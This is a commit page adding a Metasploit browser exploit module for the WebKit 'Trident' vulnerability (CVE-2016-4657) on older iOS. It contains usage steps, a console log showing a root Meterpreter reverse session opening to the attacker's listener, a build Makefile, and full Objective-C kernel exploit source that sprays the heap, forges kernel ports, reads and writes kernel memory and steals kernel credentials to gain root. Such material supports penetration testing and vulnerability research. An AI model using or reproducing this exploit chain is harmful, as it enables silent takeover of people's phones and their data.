Land #9528, WebKit apple safari trident exploit (CVE-2016-4657)

GSoC/Meterpreter_Web_Console
Brent Cook 2018-06-02 21:52:52 -05:00
commit 61a98b94b6
No known key found for this signature in database
GPG Key ID: 1FFAA0B24B708F96
23 changed files with 4411 additions and 0 deletions

Binary file not shown.

Binary file not shown.

View File

@ -0,0 +1,52 @@
## Description
This module exploits a UAF vulnerability in WebKit's JavaScriptCore library, CVE-2016-4657.
## Vulnerable Application
The exploit should work on 32-bit or 64-bit devices running iOS 9.3.4 or earlier, though it has been tested so far on 64-bit devices running 9.3.1.
## Verification Steps
* Start msfconsole
* `use exploit/apple_ios/browser/webkit_trident`
* `set LHOST` and `SRVHOST` as appropriate
* exploit
* Browse to the given URL with a vulnerable device from Safari
* Note that the payload is specially created for this exploit, due to sandbox
limitations that prevent spawning new processes.
## Scenarios
### 64bit (ME279NF/A) running iOS 9.3.1:
```
msf exploit(apple_ios/browser/webkit_trident) >
[*] 192.168.0.101 webkit_trident - Request from Mozilla/5.0 (iPad; CPU OS 9_3_1 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0 Mobile/13E238 Safari/601.1
[*] 192.168.0.101 webkit_trident - Request from Mozilla/5.0 (iPad; CPU OS 9_3_1 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0 Mobile/13E238 Safari/601.1
[*] 192.168.0.101 webkit_trident - Sent exploit (770048 bytes)
[*] 192.168.0.101 webkit_trident - Request from Mozilla/5.0 (iPad; CPU OS 9_3_1 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0 Mobile/13E238 Safari/601.1
[+] 192.168.0.101 webkit_trident - Target is vulnerable.
[*] Meterpreter session 1 opened (192.168.0.110:4444 -> 192.168.0.101:52467) at 2018-05-30 14:49:59 +0200
msf exploit(apple_ios/browser/webkit_trident) > sessions -l
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 meterpreter aarch64/apple_ios uid=0, gid=0, euid=0, egid=0 @ 192.168.0.101 192.168.0.110:4444 -> 192.168.0.101:52467 (192.168.0.101)
msf exploit(apple_ios/browser/webkit_trident) > sessions -i 1
[*] Starting interaction with 1...
meterpreter > getuid
Server username: uid=0, gid=0, euid=0, egid=0
meterpreter > sysinfo
Computer : 192.168.0.101
OS : iPad4,4 (iOS 15.4.0)
Architecture : arm64
BuildTuple : aarch64-iphone-darwin
Meterpreter : aarch64/apple_ios
```

View File

@ -0,0 +1,32 @@
#CFLAGS=-fno-stack-protector -fomit-frame-pointer -fno-exceptions -fPIC -Os -O0
GCC_BIN_OSX=`xcrun --sdk macosx -f gcc`
GCC_BIN_IOS=`xcrun --sdk iphoneos -f gcc`
GCC_BASE_OSX=$(GCC_BIN_OSX) $(CFLAGS)
GCC_BASE_IOS=$(GCC_BIN_IOS) $(CFLAGS)
GCC_OSX=$(GCC_BASE_OSX) -arch x86_64
SDK_IOS=`xcrun --sdk iphoneos --show-sdk-path`
GCC_IOS=$(GCC_BASE_IOS) -arch arm64 -isysroot $(SDK_IOS) \
-Iheaders -framework CoreFoundation -framework Foundation -framework IOKit \
-I/Users/User/rsync/mettle/build/aarch64-iphone-darwin/include \
-I/Users/User/rsync/mettle/mettle/src \
-L/Users/User/rsync/mettle/build/aarch64-iphone-darwin/lib \
-lmettle -lsigar -lev -lz -leio -ldnet -lcurl -lmbedx509 -lmbedtls -lmbedcrypto \
-framework CoreVideo -framework CoreImage -framework CoreGraphics -framework CoreMedia -framework AVFoundation -framework UIKit
all: clean main_ios
flatten: flatten-macho.m
$(GCC_OSX) -o $@ $^
main_ios: main.m exploit64.m find.m main.m nvpatch.m set.m
$(GCC_IOS) -o $@ $^
main_vm: flatten main_ios
./flatten main_ios main_vm
install: main_vm
cp main_vm ../../../../data/exploits/CVE-2016-4655/exploit
clean:
rm -f *.o main_ios main_vm flatten

View File

@ -0,0 +1,34 @@
/*
* arch.h - Code to deal with different architectures.
* Taken from kern-utils
*
* Copyright (c) 2014 Samuel Groß
* Copyright (c) 2016-2017 Siguza
*/
#ifndef ARCH_H
#define ARCH_H
#include <mach-o/loader.h> // mach_header, mach_header_64, segment_command, segment_command_64
#include <Foundation/Foundation.h> // NSLog
#define IMAGE_OFFSET 0x2000
#define MACH_TYPE CPU_TYPE_ARM64
#define ADDR "%016lx"
#define SIZE "%lu"
#define MACH_HEADER_MAGIC MH_MAGIC_64
#define MACH_LC_SEGMENT LC_SEGMENT_64
#define MACH_LC_SEGMENT_NAME "LC_SEGMENT_64"
#define KERNEL_SPACE 0x8000000000000000
typedef struct mach_header_64 mach_hdr_t;
typedef struct segment_command_64 mach_seg_t;
typedef struct section_64 mach_sec_t;
typedef struct load_command mach_lc_t;
#define LOG(str, args...) \
do \
{ \
NSLog(@"" str "\n", ##args); \
} while(0)
#endif

View File

@ -0,0 +1,15 @@
/*
* exploit64.h - Get kernel_task, root and escape the sandbox
* Taken and modified from Phœnix Jailbreak
*
* Copyright (c) 2017 Siguza & tihmstar
*/
#ifndef EXPLOIT64_h
#define EXPLOIT64_h
#include <mach/mach.h>
task_t get_kernel_task(vm_address_t *kbase);
#endif

View File

@ -0,0 +1,790 @@
/*
* exploit64.m - Get kernel_task, root and escape the sandbox
* Taken and modified from Phœnix Jailbreak
*
* Copyright (c) 2017 Siguza & tihmstar
*/
// Bugs by NSO Group / Lookout and Ian Beer.
// Thanks also to Max Bazaliy.
#include <stdio.h> // fprintf, stderr
#include <stdlib.h> // malloc, free
#include <sched.h> // sched_yield
#include <unistd.h> // getuid
#include <mach/mach.h>
#include <IOKit/IOKitLib.h>
#include "arch.h"
#include "find.h"
#include "mach-o.h"
#include "nvpatch.h"
/*** XXX ***/
// Offsets for iPhone SE (N69AP) 9.3.3
#define TASK_ITK_REGISTERED_OFFSET 0x288
#define TASK_BSDINFO_OFFSET 0x308
#define BSDINFO_PID_OFFSET 0x10
#define BSDINFO_KAUTH_CRED_OFFSET 0x118
#define KAUTH_CRED_REF_COUNT 0x10
/*** XXX ***/
#define msgh_request_port msgh_remote_port
#define msgh_reply_port msgh_local_port
#if !defined(_WALIGN_)
# define _WALIGN_(x) (((x) + 3) & ~3)
#endif
static kern_return_t r3gister(task_t task, mach_port_array_t init_port_set, mach_msg_type_number_t real_count, mach_msg_type_number_t fake_count)
{
#pragma pack(4)
typedef struct {
mach_msg_header_t Head;
mach_msg_body_t msgh_body;
mach_msg_ool_ports_descriptor_t init_port_set;
NDR_record_t NDR;
mach_msg_type_number_t init_port_setCnt;
} Request;
typedef struct {
mach_msg_header_t Head;
NDR_record_t NDR;
kern_return_t RetCode;
mach_msg_trailer_t trailer;
} Reply;
#pragma pack()
union {
Request In;
Reply Out;
} Mess;
Request *InP = &Mess.In;
Reply *OutP = &Mess.Out;
InP->msgh_body.msgh_descriptor_count = 1;
InP->init_port_set.address = (void*)(init_port_set);
InP->init_port_set.count = real_count;
InP->init_port_set.disposition = 19;
InP->init_port_set.deallocate = FALSE;
InP->init_port_set.type = MACH_MSG_OOL_PORTS_DESCRIPTOR;
InP->NDR = NDR_record;
InP->init_port_setCnt = fake_count; // was real_count
InP->Head.msgh_bits = MACH_MSGH_BITS_COMPLEX | MACH_MSGH_BITS(19, MACH_MSG_TYPE_MAKE_SEND_ONCE);
InP->Head.msgh_request_port = task;
InP->Head.msgh_reply_port = mig_get_reply_port();
InP->Head.msgh_id = 3403;
kern_return_t ret = mach_msg(&InP->Head, MACH_SEND_MSG|MACH_RCV_MSG|MACH_MSG_OPTION_NONE, (mach_msg_size_t)sizeof(Request), (mach_msg_size_t)sizeof(Reply), InP->Head.msgh_reply_port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
if(ret == KERN_SUCCESS)
{
ret = OutP->RetCode;
}
return ret;
}
static kern_return_t my_io_service_add_notification_ool
(
mach_port_t master_port,
io_name_t notification_type,
io_buf_ptr_t matching,
mach_msg_type_number_t matchingCnt,
mach_port_t wake_port,
io_async_ref64_t reference,
mach_msg_type_number_t referenceCnt,
mach_port_t *notification
)
{
#pragma pack(4)
typedef struct {
mach_msg_header_t Head;
mach_msg_body_t msgh_body;
mach_msg_ool_descriptor_t matching;
mach_msg_port_descriptor_t wake_port;
NDR_record_t NDR;
mach_msg_type_number_t notification_typeOffset;
mach_msg_type_number_t notification_typeCnt;
char notification_type[128];
mach_msg_type_number_t matchingCnt;
mach_msg_type_number_t referenceCnt;
io_user_reference_t reference[8];
} Request;
typedef struct {
mach_msg_header_t Head;
mach_msg_body_t msgh_body;
mach_msg_port_descriptor_t notification;
NDR_record_t NDR;
kern_return_t result;
mach_msg_trailer_t trailer;
} Reply;
#pragma pack()
union {
Request In;
Reply Out;
} Mess;
Request *InP = &Mess.In;
Reply *Out0P = &Mess.Out;
InP->msgh_body.msgh_descriptor_count = 2;
InP->matching.address = (void*)(matching);
InP->matching.size = matchingCnt;
InP->matching.deallocate = FALSE;
InP->matching.copy = MACH_MSG_PHYSICAL_COPY;
InP->matching.type = MACH_MSG_OOL_DESCRIPTOR;
InP->wake_port.name = wake_port;
InP->wake_port.disposition = 20;
InP->wake_port.type = MACH_MSG_PORT_DESCRIPTOR;
InP->NDR = NDR_record;
if(mig_strncpy_zerofill != NULL)
{
InP->notification_typeCnt = mig_strncpy_zerofill(InP->notification_type, notification_type, 128);
}
else
{
InP->notification_typeCnt = mig_strncpy(InP->notification_type, notification_type, 128);
}
unsigned int msgh_size_delta = _WALIGN_(InP->notification_typeCnt);
unsigned int msgh_size = (mach_msg_size_t)(sizeof(Request) - 192) + msgh_size_delta;
InP = (Request *) ((pointer_t) InP + msgh_size_delta - 128);
InP->matchingCnt = matchingCnt;
if(referenceCnt > 8)
{
return MIG_ARRAY_TOO_LARGE;
}
memcpy((char *) InP->reference, (const char *) reference, 8 * referenceCnt);
InP->referenceCnt = referenceCnt;
msgh_size += (8 * referenceCnt);
InP = &Mess.In;
InP->Head.msgh_bits = MACH_MSGH_BITS_COMPLEX | MACH_MSGH_BITS(19, MACH_MSG_TYPE_MAKE_SEND_ONCE);
InP->Head.msgh_request_port = master_port;
InP->Head.msgh_reply_port = mig_get_reply_port();
InP->Head.msgh_id = 2870;
InP->Head.msgh_reserved = 0;
kern_return_t ret = mach_msg(&InP->Head, MACH_SEND_MSG | MACH_RCV_MSG | MACH_MSG_OPTION_NONE, msgh_size, (mach_msg_size_t)sizeof(Reply), InP->Head.msgh_reply_port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
if(ret == KERN_SUCCESS)
{
ret = Out0P->result;
}
*notification = Out0P->notification.name;
return ret;
}
static kern_return_t my_io_service_open_extended
(
mach_port_t service,
task_t owningTask,
uint32_t connect_type,
NDR_record_t ndr,
io_buf_ptr_t properties,
mach_msg_type_number_t propertiesCnt,
mach_port_t *connection
)
{
#pragma pack(4)
typedef struct {
mach_msg_header_t Head;
mach_msg_body_t msgh_body;
mach_msg_port_descriptor_t owningTask;
mach_msg_ool_descriptor_t properties;
NDR_record_t NDR;
uint32_t connect_type;
NDR_record_t ndr;
mach_msg_type_number_t propertiesCnt;
} Request;
typedef struct {
mach_msg_header_t Head;
mach_msg_body_t msgh_body;
mach_msg_port_descriptor_t connection;
NDR_record_t NDR;
kern_return_t result;
mach_msg_trailer_t trailer;
} Reply;
#pragma pack()
union {
Request In;
Reply Out;
} Mess;
Request *InP = &Mess.In;
Reply *Out0P = &Mess.Out;
InP->msgh_body.msgh_descriptor_count = 2;
InP->owningTask.name = owningTask;
InP->owningTask.disposition = 19;
InP->owningTask.type = MACH_MSG_PORT_DESCRIPTOR;
InP->properties.address = (void*)(properties);
InP->properties.size = propertiesCnt;
InP->properties.deallocate = FALSE;
InP->properties.copy = MACH_MSG_PHYSICAL_COPY;
InP->properties.type = MACH_MSG_OOL_DESCRIPTOR;
InP->NDR = NDR_record;
InP->connect_type = connect_type;
InP->ndr = ndr;
InP->propertiesCnt = propertiesCnt;
InP->Head.msgh_bits = MACH_MSGH_BITS_COMPLEX | MACH_MSGH_BITS(19, MACH_MSG_TYPE_MAKE_SEND_ONCE);
InP->Head.msgh_request_port = service;
InP->Head.msgh_reply_port = mig_get_reply_port();
InP->Head.msgh_id = 2862;
InP->Head.msgh_reserved = 0;
kern_return_t ret = mach_msg(&InP->Head, MACH_SEND_MSG | MACH_RCV_MSG | MACH_MSG_OPTION_NONE, (mach_msg_size_t)sizeof(Request), (mach_msg_size_t)sizeof(Reply), InP->Head.msgh_reply_port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
if(ret == KERN_SUCCESS)
{
ret = Out0P->result;
}
*connection = Out0P->connection.name;
return ret;
}
enum
{
kOSSerializeDictionary = 0x01000000U,
kOSSerializeArray = 0x02000000U,
kOSSerializeSet = 0x03000000U,
kOSSerializeNumber = 0x04000000U,
kOSSerializeSymbol = 0x08000000U,
kOSSerializeString = 0x09000000U,
kOSSerializeData = 0x0a000000U,
kOSSerializeBoolean = 0x0b000000U,
kOSSerializeObject = 0x0c000000U,
kOSSerializeTypeMask = 0x7F000000U,
kOSSerializeDataMask = 0x00FFFFFFU,
kOSSerializeEndCollection = 0x80000000U,
kOSSerializeMagic = 0x000000d3U,
};
#define MIG_MAX 0x1000
#define PUSH(v) \
do \
{ \
if(idx >= MIG_MAX / sizeof(uint32_t)) \
{ \
return KERN_NO_SPACE; \
} \
dict[idx] = (v); \
++idx; \
} while(0)
static kern_return_t prepare_ptr(uint32_t *dict, size_t *size, uintptr_t ptr, size_t num)
{
size_t idx = 0;
PUSH(kOSSerializeMagic);
PUSH(kOSSerializeEndCollection | kOSSerializeDictionary | 1);
PUSH(kOSSerializeSymbol | 4);
PUSH(0x0079656b); // "key"
PUSH(kOSSerializeEndCollection | kOSSerializeArray | (uint32_t)num);
for(size_t i = 0; i < num; ++i)
{
PUSH(((i == num - 1) ? kOSSerializeEndCollection : 0) | kOSSerializeData | (2 * sizeof(uintptr_t)));
PUSH(((uint32_t*)&ptr)[0]);
PUSH(((uint32_t*)&ptr)[1]);
PUSH(((uint32_t*)&ptr)[0]);
PUSH(((uint32_t*)&ptr)[1]);
}
*size = idx * sizeof(uint32_t);
return KERN_SUCCESS;
}
#undef PUSH
static kern_return_t spray(const void *dict, size_t size, mach_port_t *port)
{
static io_master_t master = MACH_PORT_NULL;
if(master == MACH_PORT_NULL)
{
kern_return_t ret = host_get_io_master(mach_host_self(), &master);
if(ret != KERN_SUCCESS)
{
return ret;
}
}
return my_io_service_add_notification_ool(master, "IOServiceTerminate", (char*)dict, (uint32_t)size, MACH_PORT_NULL, NULL, 0, port);
}
static kern_return_t send_ports(mach_port_t target, mach_port_t payload, mach_msg_size_t num)
{
mach_port_t init_port_set[num];
for(size_t i = 0; i < num; ++i)
{
init_port_set[i] = payload;
}
#pragma pack(4)
typedef struct {
mach_msg_header_t Head;
mach_msg_body_t msgh_body;
mach_msg_ool_ports_descriptor_t init_port_set[1];
} Request;
#pragma pack()
Request req;
req.msgh_body.msgh_descriptor_count = 1;
req.init_port_set[0].address = (void*)(init_port_set);
req.init_port_set[0].count = num;
req.init_port_set[0].disposition = 19;
req.init_port_set[0].deallocate = FALSE;
req.init_port_set[0].type = MACH_MSG_OOL_PORTS_DESCRIPTOR;
req.Head.msgh_bits = MACH_MSGH_BITS_COMPLEX | MACH_MSGH_BITS(19, MACH_MSG_TYPE_MAKE_SEND_ONCE);
req.Head.msgh_request_port = target;
req.Head.msgh_reply_port = 0;
req.Head.msgh_id = 1337;
return mach_msg(&req.Head, MACH_SEND_MSG | MACH_MSG_OPTION_NONE, (mach_msg_size_t)sizeof(req), 0, 0, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
}
static kern_return_t receive_ports(mach_port_t port, mach_port_t **payload)
{
#pragma pack(4)
typedef struct {
mach_msg_header_t Head;
mach_msg_body_t msgh_body;
mach_msg_ool_ports_descriptor_t init_port_set[1];
mach_msg_trailer_t trailer;
} Reply;
#pragma pack()
Reply rep;
kern_return_t ret = mach_msg(&rep.Head, MACH_RCV_MSG | MACH_RCV_TIMEOUT, 0, sizeof(rep), port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
if(ret == KERN_SUCCESS && payload)
{
*payload = rep.init_port_set[0].address;
}
return ret;
}
static void release_ports(mach_port_t *arr, size_t size)
{
task_t self = mach_task_self();
for(size_t i = 0; i < size; ++i)
{
if(arr[i] != MACH_PORT_NULL)
{
mach_port_destroy(self, arr[i]);
arr[i] = MACH_PORT_NULL;
}
}
}
typedef struct {
struct {
uintptr_t data;
uintptr_t pad;
uintptr_t type;
} lock; // mutex lock
uint32_t ref_count;
char pad[TASK_BSDINFO_OFFSET - sizeof(uint32_t) - 3 * sizeof(uintptr_t)];
uintptr_t bsd_info;
} ktask_t;
typedef struct __attribute__((__packed__)) {
uint32_t ip_bits;
uint32_t ip_references;
struct __attribute__((__packed__)) {
uintptr_t data;
uint32_t pad;
uint32_t type;
} ip_lock; // spinlock
struct __attribute__((__packed__)) {
struct __attribute__((__packed__)) {
struct __attribute__((__packed__)) {
uint32_t flags;
uint32_t waitq_interlock;
uint64_t waitq_set_id;
uint64_t waitq_prepost_id;
struct __attribute__((__packed__)) {
uintptr_t next;
uintptr_t prev;
} waitq_queue;
} waitq;
uintptr_t messages;
natural_t seqno;
natural_t receiver_name;
uint16_t msgcount;
uint16_t qlimit;
} port;
} ip_messages;
natural_t ip_flags;
uintptr_t ip_receiver;
uintptr_t ip_kobject;
uintptr_t ip_nsrequest;
uintptr_t ip_pdrequest;
uintptr_t ip_requests;
uintptr_t ip_premsg;
uint64_t ip_context;
natural_t ip_mscount;
natural_t ip_srights;
natural_t ip_sorights;
} kport_t;
#define OUT_LABEL(label, code...) \
do \
{ \
ret = (code); \
if(ret != KERN_SUCCESS) \
{ \
LOG(#code ": %s (%u)", mach_error_string(ret), ret); \
goto label; \
} \
} while(0)
#define OUT(code...) OUT_LABEL(out, ##code)
static kern_return_t get_kernel_anchor(size_t *anchor)
{
kern_return_t ret = KERN_FAILURE;
task_t self = mach_task_self();
io_service_t service = MACH_PORT_NULL;
io_connect_t client = MACH_PORT_NULL;
io_iterator_t it = MACH_PORT_NULL;
io_object_t o = MACH_PORT_NULL;
service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("AppleMobileFileIntegrity"));
if(!MACH_PORT_VALID(service))
{
LOG("Invalid service");
goto out;
}
const char xml[] = "<plist><dict><key>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA</key><integer size=\"512\">1768515945</integer></dict></plist>";
OUT(my_io_service_open_extended(service, self, 0, NDR_record, (char*)xml, sizeof(xml), &client));
OUT(IORegistryEntryGetChildIterator(service, "IOService", &it));
bool found = false;
while((o = IOIteratorNext(it)) != MACH_PORT_NULL && !found)
{
uintptr_t buf[16];
uint32_t size = (uint32_t)sizeof(buf);
ret = IORegistryEntryGetProperty(o, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA", (char*)buf, &size);
if(ret == KERN_SUCCESS)
{
*anchor = buf[1];
found = true;
}
IOObjectRelease(o);
o = MACH_PORT_NULL;
}
out:;
if(it != MACH_PORT_NULL)
{
IOObjectRelease(it);
}
if(client != MACH_PORT_NULL)
{
IOObjectRelease(client);
}
if(service != MACH_PORT_NULL)
{
IOObjectRelease(service);
}
return ret;
}
#define NUM_FILL 100
#define NUM_SPRAY 1000
task_t get_kernel_task(vm_address_t *kbase)
{
kern_return_t ret;
mach_port_limits_t limits = { .mpl_qlimit = 1000 };
mach_port_t cleanup_port = MACH_PORT_NULL,
fake_port = MACH_PORT_NULL,
port = MACH_PORT_NULL;
uintptr_t kptr = 0,
kernel_base = 0;
task_t kernel_task = MACH_PORT_NULL,
self = mach_task_self();
size_t anchor = 0,
size_big = 0,
size_small = 0;
segment_t __text =
{
.addr = 0,
.len = 0,
.buf = NULL,
};
bool need_cleanup = false;
void *dict_big = malloc(MIG_MAX),
*dict_small = malloc(MIG_MAX);
mach_hdr_t *hdr = malloc(MAX_HEADER_SIZE);
if(!dict_big || !dict_small || !hdr)
{
LOG("Failed to allocate dicts");
goto out;
}
OUT(mach_port_allocate(self, MACH_PORT_RIGHT_RECEIVE, &cleanup_port));
OUT(mach_port_insert_right(self, cleanup_port, cleanup_port, MACH_MSG_TYPE_MAKE_SEND));
OUT(mach_port_set_attributes(self, cleanup_port, MACH_PORT_LIMITS_INFO, (mach_port_info_t)&limits, MACH_PORT_LIMITS_INFO_COUNT));
OUT(mach_port_allocate(self, MACH_PORT_RIGHT_RECEIVE, &port));
OUT(mach_port_insert_right(self, port, port, MACH_MSG_TYPE_MAKE_SEND));
OUT(mach_port_set_attributes(self, port, MACH_PORT_LIMITS_INFO, (mach_port_info_t)&limits, MACH_PORT_LIMITS_INFO_COUNT));
ktask_t ktask =
{
.ref_count = 100,
.bsd_info = 0xffffff8069696969, // dummy
};
kport_t kport =
{
.ip_bits = 0x80000002, // IO_BITS_ACTIVE | IOT_PORT | IKOT_TASK
.ip_references = 100,
.ip_lock =
{
.type = 0x11,
},
.ip_messages =
{
.port =
{
.receiver_name = 1,
.msgcount = MACH_PORT_QLIMIT_KERNEL,
.qlimit = MACH_PORT_QLIMIT_KERNEL,
},
},
.ip_receiver = 0x12345678, // dummy
.ip_srights = 99,
};
#define KREAD(addr, buf, size) \
do \
{ \
for(size_t i = 0; i < ((size) + sizeof(uint32_t) - 1) / sizeof(uint32_t); ++i) \
{ \
ktask.bsd_info = (addr + i * sizeof(uint32_t)) - BSDINFO_PID_OFFSET; \
OUT(pid_for_task(fake_port, (int*)((uint32_t*)(buf) + i))); \
} \
} while(0)
LOG("Leaking kernel slide...");
OUT(get_kernel_anchor(&anchor));
LOG("anchor: 0x%lx", anchor);
kptr = (uintptr_t)&kport;
LOG("Preparing data...");
OUT(prepare_ptr(dict_big, &size_big, kptr, 200));
OUT(prepare_ptr(dict_small, &size_small, kptr, 32));
kport.ip_kobject = (uintptr_t)&ktask;
again:;
LOG("Filling holes...");
sched_yield();
mach_port_t fill[NUM_FILL];
for(size_t i = 0; i < NUM_FILL; ++i)
{
OUT(spray(dict_big, size_big, &fill[i]));
}
LOG("Spraying data...");
sched_yield();
mach_port_t small[NUM_SPRAY];
for(size_t i = 0; i < NUM_SPRAY; ++i)
{
OUT(send_ports(port, port, 2));
OUT(spray(dict_small, size_small, &small[i]));
}
LOG("Punching holes...");
sched_yield();
for(size_t i = 0; i < NUM_SPRAY; ++i)
{
OUT(receive_ports(port, NULL));
}
mach_port_t arr[2] = { MACH_PORT_NULL, MACH_PORT_NULL };
OUT(r3gister(self, arr, 2, 3));
mach_port_t *arrz = NULL;
mach_msg_type_number_t sz = 3;
mach_ports_lookup(self, &arrz, &sz);
LOG("ports %x %x %x\n", arrz[0], arrz[1], arrz[2]);
fake_port = arrz[2];
if(!MACH_PORT_VALID(fake_port))
{
LOG("Exploit failed, retrying...");
// TODO: fix ports leak
goto again;
}
LOG("Determining kernel base...");
kernel_base = (anchor & 0xfffffffffff00000) + 0x4000;
for(uint32_t val = 0; 1; kernel_base -= 0x100000)
{
KREAD(kernel_base, &val, sizeof(val));
if(val == MH_MAGIC_64)
{
break;
}
}
LOG("Kernel base: 0x%lx", kernel_base);
KREAD(kernel_base, hdr, MAX_HEADER_SIZE);
CMD_ITERATE(hdr, cmd)
{
switch(cmd->cmd)
{
case MACH_LC_SEGMENT:
{
mach_seg_t *seg = (mach_seg_t*)cmd;
if(strcmp(seg->segname, "__TEXT") == 0)
{
__text.addr = seg->vmaddr;
__text.len = seg->vmsize;
__text.buf = malloc(seg->vmsize);
LOG("Found __TEXT segment at %lx", __text.addr);
KREAD(__text.addr, __text.buf, __text.len);
goto found;
}
}
break;
}
}
if(__text.buf == NULL)
{
LOG("Failed to find __TEXT segment");
goto out;
}
found:;
uintptr_t kernel_task_sym = find_kernel_task(&__text),
ipc_space_kernel_sym = find_ipc_space_kernel(&__text);
if(!kernel_task_sym || !ipc_space_kernel_sym)
{
LOG("Failed to find kernel symbols");
goto out;
}
uintptr_t kernel_task_addr = 0;
KREAD(kernel_task_sym, &kernel_task_addr, sizeof(kernel_task_addr));
LOG("kernel_task address: 0x%lx", kernel_task_addr);
uintptr_t ipc_space_kernel_addr = 0;
KREAD(ipc_space_kernel_sym, &ipc_space_kernel_addr, sizeof(ipc_space_kernel_addr));
LOG("ipc_space_kernel address: 0x%lx", ipc_space_kernel_addr);
kport.ip_receiver = ipc_space_kernel_addr;
kport.ip_kobject = kernel_task_addr;
LOG("Getting real kernel_task...");
OUT(task_get_special_port(fake_port, 1, &kernel_task));
release_ports(&fake_port, 1); // need to release before return, port is allocated on the stack
LOG("Getting root...");
OUT(r3gister(kernel_task, &self, 1, 1));
uintptr_t self_port_addr = 0;
vm_size_t size = sizeof(self_port_addr);
OUT(vm_read_overwrite(kernel_task, kernel_task_addr + TASK_ITK_REGISTERED_OFFSET, size, (vm_address_t)&self_port_addr, &size));
LOG("self port address: 0x%lx", self_port_addr);
OUT(r3gister(kernel_task, NULL, 0, 0));
uintptr_t self_task_addr = 0;
size = sizeof(self_task_addr);
OUT(vm_read_overwrite(kernel_task, self_port_addr + ((uintptr_t)&kport.ip_kobject - (uintptr_t)&kport), size, (vm_address_t)&self_task_addr, &size));
LOG("self task address: 0x%lx", self_task_addr);
uintptr_t self_proc_addr = 0;
size = sizeof(self_proc_addr);
OUT(vm_read_overwrite(kernel_task, self_task_addr + TASK_BSDINFO_OFFSET, size, (vm_address_t)&self_proc_addr, &size));
LOG("self proc address: 0x%lx", self_proc_addr);
// We're borrowing the kernel's creds here
uintptr_t kern_proc_addr = 0;
size = sizeof(kern_proc_addr);
OUT(vm_read_overwrite(kernel_task, kernel_task_addr + TASK_BSDINFO_OFFSET, size, (vm_address_t)&kern_proc_addr, &size));
LOG("kern_proc address: 0x%lx", kern_proc_addr);
uintptr_t kern_kauth_cred_addr = 0;
size = sizeof(kern_kauth_cred_addr);
OUT(vm_read_overwrite(kernel_task, kern_proc_addr + BSDINFO_KAUTH_CRED_OFFSET, size, (vm_address_t)&kern_kauth_cred_addr, &size));
LOG("kern kauth cred address: 0x%lx", kern_kauth_cred_addr);
// Ref count
unsigned long refs = 0;
size = sizeof(refs);
OUT(vm_read_overwrite(kernel_task, kern_kauth_cred_addr + KAUTH_CRED_REF_COUNT, size, (vm_address_t)&refs, &size));
++refs;
size = sizeof(refs);
OUT(vm_write(kernel_task, kern_kauth_cred_addr + KAUTH_CRED_REF_COUNT, (vm_offset_t)&refs, sizeof(refs)));
// Yeehaa
OUT(vm_write(kernel_task, self_proc_addr + BSDINFO_KAUTH_CRED_OFFSET, (vm_offset_t)&kern_kauth_cred_addr, sizeof(kern_kauth_cred_addr)));
setuid(0); // update host port, security token and whatnot
LOG("uid: %u", getuid());
LOG("Cleaning up...");
OUT(r3gister(self, arr, 2, 2));
if(need_cleanup)
{
while(1)
{
mach_port_t *dangling_port = NULL;
ret = receive_ports(cleanup_port, &dangling_port);
if(ret != KERN_SUCCESS)
{
break;
}
LOG("Unregistering port %x...", *dangling_port);
OUT(r3gister(kernel_task, dangling_port, 1, 1));
uintptr_t zero = 0;
OUT(vm_write(kernel_task, kernel_task_addr + TASK_ITK_REGISTERED_OFFSET, (vm_offset_t)&zero, sizeof(zero)));
}
}
out:;
if(MACH_PORT_VALID(fake_port) && __text.buf == NULL)
{
// If we got here but got an actual port and do not yet have a leaked __text segment, that means the pointer we read was the wrong one.
// We want to try again, but we need to retain the wrong port because mach_ports_register releases it, which means if we do nothing
// and our process dies, the ports cleanup would cause a kernel panic.
// To prevent that, we send it to the cleanup port (thereby increasing the ref count) so that later when we have kernel memory access,
// we can register the port on the kernel task and then zero out the pointer (without decreasing the ref count).
ret = send_ports(cleanup_port, fake_port, 1);
if(ret == KERN_SUCCESS)
{
fake_port = MACH_PORT_NULL;
need_cleanup = true;
LOG("Exploit failed, retrying...");
// TODO: fix ports leak
goto again;
}
printf("send_ports(): %s\n", mach_error_string(ret));
}
release_ports(small, NUM_SPRAY);
release_ports(fill, NUM_FILL);
if(dict_big)
{
free(dict_big);
}
if(dict_small)
{
free(dict_small);
}
if(hdr)
{
free(hdr);
}
if(__text.buf != NULL)
{
free(__text.buf);
}
*kbase = kernel_base;
return kernel_task;
}

View File

@ -0,0 +1,19 @@
/*
* find.h - Minimal offsets finder
* Taken and modified from cl0ver
*
* Copyright (c) 2016-2017 Siguza
*/
#ifndef FIND_H
#define FIND_H
#include <mach/mach.h>
#include "nvpatch.h"
vm_address_t find_kernel_task(segment_t *text);
vm_address_t find_ipc_space_kernel(segment_t *text);
#endif

View File

@ -0,0 +1,221 @@
/*
* find.m - Minimal offsets finder
* Taken and modified from cl0ver
*
* Copyright (c) 2016-2017 Siguza
*/
#include <stdint.h>
#include <string.h> // strlen, strerror, memcmp
#include <mach/mach.h>
#include "arch.h"
#include "nvpatch.h"
#include "find.h"
// imm = register plus immediate, lit = PC-relative literal
#define IS_RET(instr) ((instr) == 0xd65f03c0)
#define IS_BL(instr) (((instr) & 0xfc000000) == 0x94000000)
#define LDR_IMM(instr) (((instr) >> 7) & 0x7ff8)
// for all *_LIT: 26-bit sign extend and multiply by 4
#define LDR_LIT(instr) ((((int64_t)(instr) & 0xffffe0) << 40) >> 43)
